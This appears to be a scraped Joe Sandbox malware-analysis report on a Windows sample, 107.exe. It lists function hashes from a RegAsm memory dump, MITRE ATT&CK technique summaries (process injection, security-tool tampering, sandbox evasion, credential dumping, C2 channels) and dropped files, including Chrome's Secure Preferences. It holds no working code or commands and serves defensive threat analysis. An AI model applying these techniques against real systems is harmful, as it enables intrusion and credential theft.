Function 07B90CDD Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3df45139bc87ce9717fa00aac0b1c87bf75ccb72f53ae3e573dc664b526b4295
Instruction ID: 5e7fe54412bbf4ebec3257a6a8bb16b0445917d70d81df7e32da12f283440dba
Opcode Fuzzy Hash: 3df45139bc87ce9717fa00aac0b1c87bf75ccb72f53ae3e573dc664b526b4295
Instruction Fuzzy Hash: 3AE09AB494021EDFEF149F50D8597EE7BB2FF88311F104425D802B6254DB789545CF51

Function 07B93C2B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a6c6a7b9395ea90244a397c4b5295314d040e35999bb4ec785fab16f56ef07a
Instruction ID: 8712a21cd9b14bdde2b3f579fc5743dd88f68f7d607b56e5007851d6199829a5
Opcode Fuzzy Hash: 6a6c6a7b9395ea90244a397c4b5295314d040e35999bb4ec785fab16f56ef07a
Instruction Fuzzy Hash: F3D092F084960ADFEF24CF80C62D7AEBAB1EB00305F200479D021B6190C7B81A48CB91

Function 07B90C91 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4495383460.0000000007B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b90000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ca36136ec367014009fa6f6d79e64ab32241ce3084ab96376b1a3c086e517c
Instruction ID: 6e0dfbe9239f8d3f15a8993ea758138a011d084e86088badef456922479ac901
Opcode Fuzzy Hash: 44ca36136ec367014009fa6f6d79e64ab32241ce3084ab96376b1a3c086e517c
Instruction Fuzzy Hash: 2AB092E3D1815243EB004619EC69743FFEE7F54222B954690750CC2A06B605882185A0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe` ).
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 107.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

C:\Users\user\AppData\Local\Temp\tmp1075.tmp

C:\Users\user\AppData\Local\Temp\tmp14D0.tmp

C:\Users\user\AppData\Local\Temp\tmp1EE7.tmp

C:\Users\user\AppData\Local\Temp\tmp267B.tmp

C:\Users\user\AppData\Local\Temp\tmp3669.tmp

C:\Users\user\AppData\Local\Temp\tmp3697.tmp

C:\Users\user\AppData\Local\Temp\tmp3978.tmp

C:\Users\user\AppData\Local\Temp\tmp3B29.tmp

C:\Users\user\AppData\Local\Temp\tmp3CA9.tmp

C:\Users\user\AppData\Local\Temp\tmp46F9.tmp

C:\Users\user\AppData\Local\Temp\tmp4B47.tmp

C:\Users\user\AppData\Local\Temp\tmp4C6D.tmp

C:\Users\user\AppData\Local\Temp\tmp587C.tmp

Windows Analysis Report
107.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre